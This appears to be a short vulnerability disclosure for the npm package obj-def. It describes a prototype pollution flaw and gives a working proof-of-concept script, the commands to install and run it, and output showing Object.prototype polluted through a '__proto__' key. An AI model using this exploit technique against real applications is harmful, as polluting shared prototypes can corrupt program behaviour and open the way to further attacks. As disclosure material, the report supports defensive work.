Description

obj-def is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
var objDef = require("obj-def")
var obj ={}
console.log("Before : " + {}.polluted);
objDef(obj, "__proto__", {}).polluted ='Yes! Its Polluted';
console.log("After : " + {}.polluted);

2. Execute the following commands in terminal:

npm i obj-def # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted